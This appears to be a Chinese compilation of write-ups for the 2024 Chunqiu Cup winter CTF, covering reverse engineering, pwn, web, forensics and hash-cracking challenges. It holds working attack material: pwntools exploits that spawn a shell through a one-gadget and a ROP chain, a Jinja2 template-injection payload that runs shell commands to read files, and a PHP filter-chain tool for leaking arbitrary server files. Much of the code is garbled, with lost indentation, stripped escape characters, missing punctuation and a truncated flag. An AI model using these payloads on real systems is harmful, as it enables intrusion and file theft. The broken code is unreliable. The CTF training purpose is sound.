【相关分享】2024春秋杯冬季赛三日Writeup汇总(部分)

免责声明

由于传播、利用本公众号”隼目安全”所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号”隼目安全”及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!

2024春秋杯冬季赛day1

ezgo

IDA调试发现有反调试检测,直接同样ScyllaHide插件一键去除。

找到main_main函数,发现有个加密函数。

通过这部分代码分析出是Base64加密,main_byte_16321就是Base表。

但是查看交叉引用发现main_byte_16321在main_init_0被修改换表,所以真实表应该是下面这个。

加密函数结尾,对Base64加密后的密文进行了异或0xC处理。

main_main函数要求输入一个4长度的字符串,动调发现无论输入什么四位字符,最终加密完都是6个密文字符+2个等号。

加密完对密文进行字节分割,在以下片段分别对第0、2、3、4、5、7下标的字符进行了异或计算。

这边有个time_Since应该是时间检测。

直接在汇编代码该处进行命令断点,设置rax=0xffffffff即可绕过检测

动调发现以下是对文件进行解密。

之前输入四位字符加密得到的8个字符以下统称Key,且被异或处理的称为EncKey

整体解密流程如下:

v51 = 文件字节[i]
v61 = v62 = EncKey[i%8]
v63 = v61 ^ main_byte_65163[v62]
v65 = i % 2
v51 ^= v63
文件字节[i] = v51 ^ EncKey[i%v65 + 4]

main_byte_65163是一个256大小的QWORD数组。

解密流程清楚了,接下来是解出EncKey,由于Key的最后两位统一是两个等号,所以EncKey的最后两位也固定。

所以就需要解出EncKey前六个字节。

由于原文件已知是zip格式,所以可以利用zip文件开头几个字节和结尾段的前几个字节当作已知明文,去对应被加密的zip.zip的对应字节。

ZIP文件开头和结尾段前几个字节:

开头
0x50, 0x4B, 0x03, 0x04, 0x14
倒数22个字节开始
0x50, 0x4B, 0x05, 0x06

被加密的文件对应字节如下:

开头
0x0E, 0xE1, 0xE5, 0xF9, 0x0C
倒数22个字节开始
0xB6, 0xB6, 0x1D, 0x9F

利用z3进行约束求解,即可求出EncKey。

求解代码:

from z3 import *
origin = [0x50, 0x4B, 0x03, 0x04, 0x14]
cipher = [0x0E, 0xE1, 0xE5, 0xF9, 0x0C]
# main_byte_65163
Bytes_ = [0x01,0x57,0x2C,0x7C,0xC7,0x72,0x20,0x70,0xA5,0x96,0x21,
0xDC,0xA8,0x76,0x69,0x14,0xC5,0x24,0x25,0x02,0xB7,0x7A,
0xFC,0xF0,0xC4,0x49,0x56,0xC2,0xC1,0x95,0xEC,0x26,0xCC,
0xF7,0xFF,0x73,0xE1,0x3F,0x84,0x46,0xA9,0xF9,0x3D,0x0E,
0x45,0xF1,0xDA,0x92,0xCE,0x3B,0x3C,0xA0,0x16,0xBC,0x2D,
0xBD,0xA4,0x32,0x90,0x62,0x9D,0x0C,0xDE,0xAD,0x40,0xCF,
0x4B,0x4D,0x6E,0x79,0xC8,0x85,0xD2,0xAC,0x99,0xE8,0x1E,
0xC9,0xD4,0x06,0x34,0x66,0xB8,0xD3,0x13,0xF4,0x42,0x1B,
0x63,0x5F,0x82,0x5B,0x91,0x2A,0x33,0x5D,0xB9,0x7D,0xD5,
0x6C,0x0D,0x28,0x08,0x9B,0x18,0x2E,0xA2,0x67,0x5A,0xE6,
0x8A,0x19,0x50,0x9C,0xB1,0xEF,0x1F,0x12,0xBA,0x86,0x83,
0x77,0x60,0x94,0xFD,0xF6,0x54,0xBF,0xA1,0x93,0x03,0xE7,
0x58,0xE5,0x9A,0x7F,0x22,0xBE,0xD9,0x38,0x27,0x65,0xD7,
0x23,0xFB,0x71,0xFA,0x8F,0xF5,0x6D,0x51,0x9E,0xD6,0x8B,
0x89,0x11,0xCA,0x0F,0x8E,0xCB,0xB3,0xBB,0xF2,0x87,0x75,
0x5C,0x2F,0x98,0x2B,0x1C,0xB4,0xC6,0x0A,0x4C,0x36,0x1A,
0x15,0x88,0x1D,0xE4,0xC3,0x97,0x53,0x30,0x4A,0x3A,0xB5,
0x61,0x55,0xC0,0xA7,0xDB,0x29,0x68,0xE2,0xE0,0x10,0x09,
0x41,0x31,0xF3,0xAF,0xB6,0x6A,0x6F,0x00,0x05,0x0B,0xE3,
0xD1,0x8D,0x47,0x74,0x78,0x7B,0x64,0xDD,0xAB,0xB0,0x39,
0x37,0xFE,0xED,0x52,0xCD,0x81,0xF8,0xAA,0x48,0x6B,0xD0,
0xEB,0x8C,0x44,0x59,0x17,0x9F,0x4F,0xB2,0x35,0xA3,0x7E,
0xEE,0x4E,0xDF,0xE9,0x07,0x43,0xA6,0xAE,0xD8,0xEA,0x80,
0x3E,0x04,0x5E]
Bytes_array = Array('Bytes', BitVecSort(8), BitVecSort(8))
s = Solver()
for i in range(256):
s.add(Bytes_array[i] == Bytes_[i])
Key1,Key2,Key3,Key4,Key5,Key6 = BitVecs("Key1 Key2 Key3 Key4 Key5 Key6",8)
s.add(cipher[0] == origin[0] ^ Key1 ^ Key5 ^ Bytes_array[Key1])
s.add(cipher[1] == origin[1] ^ Key2 ^ Key6 ^ Bytes_array[Key2])
s.add(cipher[2] == origin[2] ^ Key3 ^ Key5 ^ Bytes_array[Key3])
s.add(cipher[3] == origin[3] ^ Key4 ^ Key6 ^ Bytes_array[Key4])
s.add(cipher[4] == origin[4] ^ Key5 ^ Key5 ^ Bytes_array[Key5])
# Zip文件尾段开头4个字节
# 通过下标234%8得到2,也就是从Key3开始加密
s.add(0xB6 == 0x50 ^ Key3 ^ Key5 ^ Bytes_array[Key3])
s.add(0xB6 == 0x4B ^ Key4 ^ Key6 ^ Bytes_array[Key4])
s.add(0x1D == 0x05 ^ Key5 ^ Key5 ^ Bytes_array[Key5])
s.add(0x9F == 0x06 ^ Key6 ^ Key6 ^ Bytes_array[Key6])
# 必须在可视字符范围内
s.add((Key1^2)>=32)
s.add((Key1^2)<=126)
s.add((Key2)>=32)
s.add((Key2)<=126)
s.add((Key3^2)>=32)
s.add((Key3^2)<=126)
s.add((Key4^5)>=32)
s.add((Key4^5)<=126)
s.add((Key5^5)>=32)
s.add((Key5^5)<=126)
s.add((Key6^2)>=32)
s.add((Key6^2)<=126)
if s.check() == sat:
m=s.model()
k1 = m[Key1].as_long()
k2 = m[Key2].as_long()
k3 = m[Key3].as_long()
k4 = m[Key4].as_long()
k5 = m[Key5].as_long()
k6 = m[Key6].as_long()
# 得到EncKey
print(f"{k1}",end=',')
print(f"{k2}",end=',')
print(f"{k3}",end=',')
print(f"{k4}",end=',')
print(f"{k5}",end=',')
print(f"{k6}")
# 108,62,65,98,104,74

输出得到EncKey = {108,62,65,98,104,74};

再将EncKey进行异或处理的还原以及0xC异或的还原,即可得到原Key。

还原代码:

int main_ez_go()
{
// 由z3解出来的EncKey
int key[] = { 108,62,65,98,104,74 };
// 还原EncKey
key[0] ^= 2;
key[2] ^= 2;
key[3] ^= 5;
key[4] ^= 5;
key[5] ^= 2;
for (int i = 0; i < 6; i++)
{
printf("%c", key[i]^0xc);
}
// b2OkaD
return 0;
}

得到Key为b2OkaD。

利用之前得到的Base表,用Cyberchef进行解密即可得到原始输入。

所以运行程序输入oadi即可解密本地的zip.zip得到flag

bypass

exp如下

from pwn import *
import time
import numpy as np
# 定义本地文件路径
local_file = './pwn'
# 加载 ELF 文件
elf = ELF(local_file)
# 加载 libc 库文件
libc = ELF('./libc.so.6')
# 设置日志级别为调试
context.log_level = 'debug'
# 设置架构
context.arch = elf.arch
# 设置终端
context.terminal = ['tmux''neww']
# 定义发送数据函数
def s(data):
return io.send(data)
# 定义在特定分隔符后发送数据函数
def sa(delim, data):
return io.sendafter(delim, data)
# 定义发送一行数据函数
def sl(data):
return io.sendline(data)
# 定义在特定分隔符后发送一行数据函数
def sla(delim, data):
return io.sendlineafter(delim, data)
# 定义接收数据函数
def r(numb=4096):
return io.recv(numb)
# 定义接收数据直到特定分隔符函数
def ru(delims, drop=True):
return io.recvuntil(delims, drop)
# 定义将数据转换为 u32 类型函数
def uu32(data):
return u32(data.ljust(4, b'x00'))
# 定义将数据转换为 u64 类型函数
def uu64(data):
return u64(data.ljust(8, b'x00'))
# 定义获取补码(64 位)函数
def get_q(data):
return (~np.uint64(data) + 1)
# 定义获取补码(32 位)函数
def get_d(data):
return (~np.uint32(data) + 1)
# 定义获取 system 函数地址和/bin/sh 字符串地址的函数
def get_sh():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
# 定义打印地址信息函数
def info_addr(tag, addr):
return io.info(tag + '==>' +': {:#x}'.format(addr))
# 定义进入交互模式函数
def itr():
return io.interactive()
# 连接远程服务器
io = remote('47.94.103.168', 20637)
# 发送 4 个字节的 2
s(p8(2) * 4)
# 接收数据直到'd'
ru('d')
# 接收数据直到换行符
ru('n')
# 计算 libc 基地址
libc_base = uu64(r(6)) - libc.sym.puts
# 发送 4 个字节的 0
s(p8(0) * 4)
# 定义 one gadget 地址
one = 0x4f302
# 构造并发送数据
s(b'KEY: ' + b'a' * 19 + p8(0x14) + p8(0x2) + b'c' * 8 + p64(one + libc_base))
# 等待 0.1 秒
time.sleep(0.1)
# 发送数据
s(b'VAL: ' + b'b' * 512)
# 进入交互模式
itr()

easy_flask

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag').read() }}

输入框输入上面内容即可

ezre

伪随机生成器,但是生成之后数据固定,给比较前下断点,查看 s1 就可以了

flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99

file_copy

将下面的脚本上传到了自己的服务器(因为当时设备没有装linux,所以就拿了台服务器将就一下)

#!/usr/bin/env python3
import sys
import signal
import argparse
import json
from filters_chain_oracle.core.requestor import Requestor
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.bruteforcer import RequestorBruteforcer
"""
Class FiltersChainOracle, defines all the CLI logic.
- useful info -
This tool is based on the following script : 
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal
-php/solve/solution.py
Each step of this trick is detailed in the following blogpost : 
https://www.synacktiv.com/publications/php-filter-chains-file-read-from-errorbased-oracle
"
""
class FiltersChainOracle():
 def __init__(self):
 self.requestor = None
 self.bruteforcer = None
"""
 Function managing interuption
 "
""
 def signal_handler(self, sig, frame):
print("[*] File leak gracefully stopped.")
print("[+] File {} was partially leaked".format(self.requestor.file_to_leak))
print(self.bruteforcer.base64)
print(self.bruteforcer.data)
if self.log_file:
 self.log_in_file("# The following data was leaked from {} from the 
file {}n{}n"
.format(self.requestor.target, self.requestor.file_to_leak, 
self.bruteforcer.data.decode("utf-8")))
 sys.exit(1)

"""
 Function managing log file
 "
""
 def log_in_file(self, content):
print("[*] Info logged in : {}".format(self.log_file))
 with open(self.log_file, "a") as file:
 file.write(content)
 file.flush()
"""
 Function managing CLI arguments
 "
""
 def main(self):
#signal management
 usage = """
 Oracle error based file leaker based on PHP filters.
 Author of the tool : @_remsio_
 Trick firstly discovered by : @hash_kitten
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file 
'/test' --parameter 0 
 [*] The following URL is targeted : http://127.0.0.1
 [*] The following local file is leaked : /test
 [*] Running POST requests
 [+] File /test leak is finished!
 b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK'
 b"
Hello from Synacktiv's blogpost!\n"
 """
 # Parsing command line arguments
 parser = argparse.ArgumentParser(description=usage, 
formatter_class=argparse.RawTextHelpFormatter)
 parser.add_argument("--target", help="URL on which you want to run the 
exploit.", required=True)
 parser.add_argument("--file", help="Path to the file you want to leak.", 
required=True)
 parser.add_argument("--parameter", help="Parameter to exploit.", 
required=True)
 parser.add_argument("--data", help="Additionnal data that might be 
required. (ex : {"string":"value"})", required=False)
 parser.add_argument("--headers", help="Headers used by the request. (ex : 
{"Authorization":"Bearer [TOKEN]"})", required=False)
 parser.add_argument("--verb", help="HTTP verb to use 
POST(default),GET(~ 135 chars by default),PUT,DELETE", required=False)
 parser.add_argument("--proxy", help="Proxy you would like to use to run 
the exploit. (ex : http://127.0.0.1:8080)", required=False)
 parser.add_argument("--in_chain", help="Useful to bypass weak strpos 
configurations, adds the string in the chain. (ex : KEYWORD)", required=False)
 parser.add_argument("--time_based_attack", help="Exploits the oracle as a 
time base attack, can be improved. (ex : True)", required=False)
 parser.add_argument("--delay", help="Set the delay in second between 
each request. (ex : 1, 0.1)", required=False)
 parser.add_argument("--json", help="Send data as JSON (--json=1)", 
required=False)
 parser.add_argument("--match", help="Match a pattern in the response as 
the oracle (--match='
Allowed memory size of')", required=False)
 parser.add_argument("--offset", help="Offset from which a char should be 
leaked (--offset=100)", required=False, type=int)
 parser.add_argument("--log", help="Path to log file (--
log=/tmp/output.log)", required=False)
 args = parser.parse_args()
 # Time based attack management
 if args.time_based_attack:
 time_based_attack=args.time_based_attack
 else:
 time_based_attack=False
 # Delay management
 if args.delay:
 delay = args.delay
 else:
 delay = 0.0
 # Data management
 if args.data:
 try:
 json.loads(args.data)
 except ValueError as err:
 print("[-] data JSON could not be loaded, please make it valid")
 exit()
 data=args.data
 else:
 data="{}"
 # Headers management
 if args.headers:
 try:
 json.loads(args.headers)
 except ValueError as err:
 print("[-] headers JSON could not be loaded, please make it valid")
 exit()
 headers=args.headers
 else:
 headers="{}"
 # Verb management
 if args.verb:
 try:
 verb = Verb[args.verb]
 except KeyError:
 verb = Verb.POST
 else:
 verb = Verb.POST
 if args.in_chain:
 in_chain = args.in_chain
 else:
 in_chain = ""
 # Delay management
 json_input = False
 if args.json:
 json_input = True

 # Match pattern
 match = False
 if args.match:
 match = args.match

 # Offset from which a char should be leaked
 offset = 0
 if args.offset:
 offset = args.offset

 # Log file path
 self.log_file = False
 if args.log:
 self.log_file = args.log

 # Attack launcher
 self.requestor = Requestor(args.file, args.target, args.parameter, data, 
headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match)
 self.bruteforcer = RequestorBruteforcer(self.requestor, offset)
 signal.signal(signal.SIGINT, self.signal_handler)
 # Auto fallback to time based attack
 self.bruteforcer.bruteforce()
 # Result parsing
 if self.bruteforcer.base64:
 print("[+] File {} leak is finished!".format(self.requestor.file_to_leak))
 print(self.bruteforcer.base64)
 print(self.bruteforcer.data)
 if self.log_file:
 self.log_in_file("# The following data was leaked from {} from the 
file {}n{}n".format(self.requestor.target, self.requestor.file_to_leak, 
self.bruteforcer.data.decode("utf-8")))
 exit()
 else:
 print("[-] File {} is either empty, or the exploit did not 
work :(".format(self.requestor.file_to_leak))
 time_based_attack = 1
 print("[*] Auto fallback to time based attack")
 self.requestor = Requestor(args.file, args.target, args.parameter, data, 
headers, verb, in_chain, args.proxy, time_based_attack, delay, json_input, match)
 self.bruteforcer = RequestorBruteforcer(self.requestor, offset)
 self.bruteforcer.bruteforce()

 if verb == Verb.GET:
 print("[*] You passed your payload on a GET parameter, the leak might 
be partial! (~135 chars max by default)")

 print(self.bruteforcer.base64)
 print(self.bruteforcer.data)
if __name__ == "__main__":
 filters_chain_oracle = FiltersChainOracle()
 filters_chain_oracle.main()
 sys.exit(0)

塞进机器后直接

python filters_chain_oracle_exploit.py --target http://eci2ze0sy1cu9fue3fdepy3.cloudeci1.ichunqiu.com:80 --file '/flag' --parameter path

Gender_Simulation

缓冲区溢出

from pwn import *
# 加载二进制文件和 libc
binary_path = './pwn'
elf_binary = ELF(binary_path)
libc_binary = ELF('./libc.so.6')
# 设置日志级别、架构和终端
context.log_level = 'debug'
context.arch = elf_binary.arch
context.terminal = ['tmux''neww']
# 定义工具函数
send_data = lambda data: io.send(data) # 发送数据
send_after_delim = lambda delim, data: io.sendafter(delim, data) # 在接收到 delim 
后发送数据
send_line_data = lambda data: io.sendline(data) # 发送一行数据
send_line_after_delim = lambda delim, data: io.sendlineafter(delim, data) # 在接收
到 delim 后发送一行数据
receive_data = lambda num_bytes=4096: io.recv(num_bytes) # 接收指定字节数的
数据
receive_until_delim = lambda delims, drop=True: io.recvuntil(delims, drop) # 接收
数据直到遇到 delims
unpack_32bit = lambda data: u32(data.ljust(4, 'x00')) # 将数据解析为 32 位无符
号整数
unpack_64bit = lambda data: u64(data.ljust(8, 'x00')) # 将数据解析为 64 位无符
号整数
enter_interactive_mode = lambda: io.interactive() # 进入交互模式
# 连接到远程服务器
io = remote('59.110.162.87', 30743)
# 接收泄露的地址并计算 libc 基地址
receive_until_delim('A gift: ')
leaked_address = int(receive_until_delim('n'), 16) # 读取泄露的地址
libc_base_address = leaked_address - libc_binary.sym.setvbuf # 计算 libc 基地址
log.info("libc_base_address = " + hex(libc_base_address)) # 打印 libc 基地址
# 选择菜单选项
receive_until_delim('Choose onen1. Boyn2. Girln')
send_line_data('2'# 选择 Girl
receive_until_delim('2. Tomboyn')
send_line_data('2'# 选择 Tomboy
receive_until_delim('certificaten')
# 构造 ROP 链
pop_rdi_gadget = libc_base_address + 0x000000000010f75b # pop rdi; ret 的地址
ret_gadget = 0x000000000040201a # ret 指令的地址
system_function_address = libc_binary.sym.system + libc_base_address # system 函
数的地址
bin_sh_string_address = next(libc_binary.search('/bin/sh')) + libc_base_address 
/bin/sh 字符串的地址
# 发送 payload
send_line_data(p64(0x0004025E6)) # 发送
receive_until_delim('If you think you')
send_data(b'a' * 0x18 + p64(pop_rdi_gadget) + p64(bin_sh_string_address) + 
p64(ret_gadget) + p64(system_function_address)) # 构造 ROP 链
# 进入交互模式
enter_interactive_mode()

进入 shell 后直接 cat /home/ctf/flag

flag{161eaaf4-4214-422d-83df-255dbc16b228}

Gotar

软链接,先创建一个文件夹,进入那个文件夹然后构造软链接,然后再压缩文件夹

然后上传访问/assets/extracted/2/gioisi,得到 session

伪造得到 flag

ko0h

用 ida 打开

直接看 main 解变表 base64 的话是假的 flag

去花之后跟进里面调用的函数,一个个去花 最后发现是个魔改 rc4 才是正确 flag 的加密逻辑

改 rc4 是将原来的异或换成了减,所以 exp 改成加就可以

public class RC4 {
 /**
* 初始化 RC4 算法的状态向量 S 盒
 *
* @param s 状态向量 S 盒,长度为 256
* @param key 密钥
* @param len_k 密钥长度
 */ public static void rc4_init(int[] s, byte[] key, int 
len_k) { int i = 0, j = 0; byte[] k = new byte[256]; 
int tmp = 0;
 // 初始化 S 盒和临时密钥数组 k
for (i = 0; i < 256; i++) 
{ s[i] = i;
 k[i] = key[i % len_k];
 }
 // 对 S 盒进行置换操作
for (i = 0; i < 256; i++) {
 j = (j + s[i] + (k[i] & 0xFF)) % 256; 
tmp = s[i]; s[i] = s[j]; s[j] = tmp;
 }
 }
 /**
* 使用 RC4 算法对数据进行加密或解密
 *
* @param data 待处理的数据
* @param len_d 数据长度
* @param key 密钥
* @param len_k 密钥长度
 */ public static void rc4_crypt(byte[] data, int len_d, byte[] key, int 
len_k) { int[] s = new int[256]; rc4_init(s, key, len_k);
 int i = 0, j = 0, t = 0; 
int k = 0; int tmp;
 // 对数据进行逐字节处理
for (k = 0; k < len_d; k++) 
{ i = (i + 1) % 256; j = 
(j + s[i]) % 256; tmp = s[i]; 
s[i] = s[j]; s[j] = tmp; 
t = (s[i] + s[j]) % 256; data[k] 
+= (byte) s[t];
 }
 }
 public static void main(String[] args) { byte[] 
key = "DDDDAAAASSSS".getBytes(); int 
key_len = key.length;
 byte[] data = {
 0x18, 0x9C, 0x47, 0x3D, 0x3B, 0xE1, 0x29, 0x27, 0x9F, 0x34, 0x83, 0xD5,
 (byte) 0xED, (byte) 0xB5, 0x6E, 0x59,
 0x7F, (byte) 0xDE, 0x47, (byte) 0xD7, 0x65, 0x3F, 0x7A, 0x33, 0x5B, 0x64, 
0xB6, (byte) 0xFA,
 0x94, 0x55, 0x87, 0x42,
 0x20, 0x06, 0x0C, 0x69, (byte) 0xFE, 0x72, 0xA9, 0xE4, 0xD1, 0x7C };
 rc4_crypt(data, data.length, key, key_len);
for (int i = 0; i < data.length; i++) {
 System.out.print("0x" + String.format("%02X", data[i]) + ",");
 System.out.print((char) (data[i] & 0xFF)); }

}
}

See anything in these pics

首先下载附件,爆破压缩包

密码:5FIVE

解压下来,一张图片

foremost 提取,得到另一张 png

爆破一下宽高

简单计算

丢进 cyberchef 开 xor bruteforce

flag{x0r_Brute_is_easy!

简单镜像提取

Neta 下载提取文件

一个 zip,解压得到

根据提示用 RR_studio 恢复

得到一个 xls

打开往下滑 That’s cool!!本题通关 FLAG:E7A10C15E26AA5750070EF756AAA1F7C

你是小哈斯

写一个脚本批量破解 hash 并拼接明文

import hashlib
import itertools
import string
# 这里把你要匹配的所有 SHA-1 哈希都放进来
hash_list = [
"356a192b7913b04c54574d18c28d46e6395428ab",
"da4b9237bacccdf19c0760cab7aec4a8359010b0",
"77de68daecd823babbb58edb1c8e14d7106e83bb",
"1b6453892473a467d07372d45eb05abc2031647a",
"ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4",
"c1dfd96eea8cc2b62785275bca38ac261256e278",
"902ba3cda1883801594b6e1b452790cc53948fda",
"fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f",
"0ade7c2cf97f75d009975f4d720d1fa6c19f4897",
"b6589fc6ab0dc82cf12099d1c2d40ab994e8410c",
"3bc15c8aae3e4124dd409035f32ea2fd6835efc9",
"21606782c65e44cac7afbb90977d8b6f82140e76",
"22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
"aff024fe4ab0fece4091de044c58c9ae4233383a",
"58e6b3a414a1e090dfc6029add0f3555ccba127f",
"4dc7c9ec434ed06502767136789763ec11d2c4b7",
"8efd86fb78a56a5145ed7739dcb00c78581c5375",
"95cb0bfd2977c761298d9624e4b4d4c72a39974a",
"51e69892ab49df85c6230ccc57f8e1d1606caccc",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"516b9783fca517eecbd1d064da2d165310b19759",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"c2b7df6201fdd3362399091f0a29550df3505b6a",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"3c363836cf4e16666669a25da280a1865c2d2874",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"54fd1711209fb1c0781092374132c66e79e2241b",
"27d5482eebd075de44389774fce28c69f45c8a75",
"5c2dd944dde9e08881bef0894fe7b22a5c9c4b06",
"13fbd79c3d390e5d6585a21e11ff5ec1970cff0c",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"395df8f7c51f007019cb30201c49e884b46b92fa",
"11f6ad8ec52a2984abaafd7c3b516503785c2072",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"7a38d8cbd20d9932ba948efaa364bb62651d5ad4",
"e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"6b0d31c0d563223024da45691584643ac78c96e8",
"5c10b5b2cd673a0616d529aa5234b12ee7153808",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
"54fd1711209fb1c0781092374132c66e79e2241b",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"6b0d31c0d563223024da45691584643ac78c96e8",
"58e6b3a414a1e090dfc6029add0f3555ccba127f",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
"e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"11f6ad8ec52a2984abaafd7c3b516503785c2072",
"95cb0bfd2977c761298d9624e4b4d4c72a39974a",
"395df8f7c51f007019cb30201c49e884b46b92fa",
"c2b7df6201fdd3362399091f0a29550df3505b6a",
"3a52ce780950d4d969792a2559cd519d7ee8c727",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"3c363836cf4e16666669a25da280a1865c2d2874",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"54fd1711209fb1c0781092374132c66e79e2241b",
"27d5482eebd075de44389774fce28c69f45c8a75",
"5c2dd944dde9e08881bef0894fe7b22a5c9c4b06",
"13fbd79c3d390e5d6585a21e11ff5ec1970cff0c",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"395df8f7c51f007019cb30201c49e884b46b92fa",
"11f6ad8ec52a2984abaafd7c3b516503785c2072",
"84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
"7a38d8cbd20d9932ba948efaa364bb62651d5ad4",
"e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"6b0d31c0d563223024da45691584643ac78c96e8",
"5c10b5b2cd673a0616d529aa5234b12ee7153808",
"3a52ce780950d4d969792a2559cd519d7ee8c727",
"22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
"aff024fe4ab0fece4091de044c58c9ae4233383a",
"58e6b3a414a1e090dfc6029add0f3555ccba127f",
"4dc7c9ec434ed06502767136789763ec11d2c4b7",
"8efd86fb78a56a5145ed7739dcb00c78581c5375",
"95cb0bfd2977c761298d9624e4b4d4c72a39974a",
"51e69892ab49df85c6230ccc57f8e1d1606caccc",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"516b9783fca517eecbd1d064da2d165310b19759",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
"d1854cae891ec7b29161ccaf79a24b00c274bdaa",
"7a81af3e591ac713f81ea1efe93dcf36157d8376",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"042dc4512fa3d391c5170cf3aa61e6a638f84342",
"a0f1490a20d0211c997b44bc357e1972deab8ae3",
"53a0acfad59379b3e050338bf9f23cfc172ee787",
"4a0a19218e082a343a1b17e5333409af9d98f0f5",
"07c342be6e560e7f43842e2e21b774e61d85f047",
"86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
"54fd1711209fb1c0781092374132c66e79e2241b",
"c2b7df6201fdd3362399091f0a29550df3505b6a",
"356a192b7913b04c54574d18c28d46e6395428ab",
"da4b9237bacccdf19c0760cab7aec4a8359010b0",
"77de68daecd823babbb58edb1c8e14d7106e83bb",
"1b6453892473a467d07372d45eb05abc2031647a",
"ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4",
"c1dfd96eea8cc2b62785275bca38ac261256e278",
"902ba3cda1883801594b6e1b452790cc53948fda",
"fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f",
"0ade7c2cf97f75d009975f4d720d1fa6c19f4897",
"b6589fc6ab0dc82cf12099d1c2d40ab994e8410c",
"3bc15c8aae3e4124dd409035f32ea2fd6835efc9",
"21606782c65e44cac7afbb90977d8b6f82140e76"
]
candidates = set()
for i in range(10000):
 candidates.add(str(i))
lowercase = string.ascii_lowercase
for length in range(1, 4):
for combo in itertools.product(lowercase, repeat=length):
 candidates.add("".join(combo))
uppercase = string.ascii_uppercase
for length in range(1, 4):
for combo in itertools.product(uppercase, repeat=length):
 candidates.add("".join(combo))
symbols = "!@#$%^&*()-_=+[]{},.;:"'`~<>?/\|"
for sym in symbols:
 candidates.add(sym)
candidates.add(" ")
candidates.add("t")
candidates.add("n")
sha1_dict = {}
print("[*] 准备生成 SHA-1 字典,共有候选明文数量 =", len(candidates), "请稍候...")
for plain in candidates:
 h = hashlib.sha1(plain.encode("utf-8")).hexdigest()
 sha1_dict[h] = plain
print("[*] 字典生成完成。开始匹配...")
matched_plaintexts = ""
for hval in hash_list:
if hval in sha1_dict:
 matched_plaintexts += sha1_dict[hval] # 直接拼接
print(f"{hval} => {sha1_dict[hval]}")
else:
print(f"{hval} => [未匹配]")
# 输出拼接结果
print("n[*] 匹配的明文拼接结果:")
print(matched_plaintexts)
print("[*] 匹配完成。若还有未匹配,则可进一步扩大字典或检查是否有特殊格式。
"
)
[*] 匹配的明文拼接结果:
1234567890-
=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvb
nm,.qwertyuiopflag{no_is_flag}1234567890-=
[*] 匹配完成。若还有未匹配,则可进一步扩大字典或检查是否有特殊格式

通往哈希的旅程

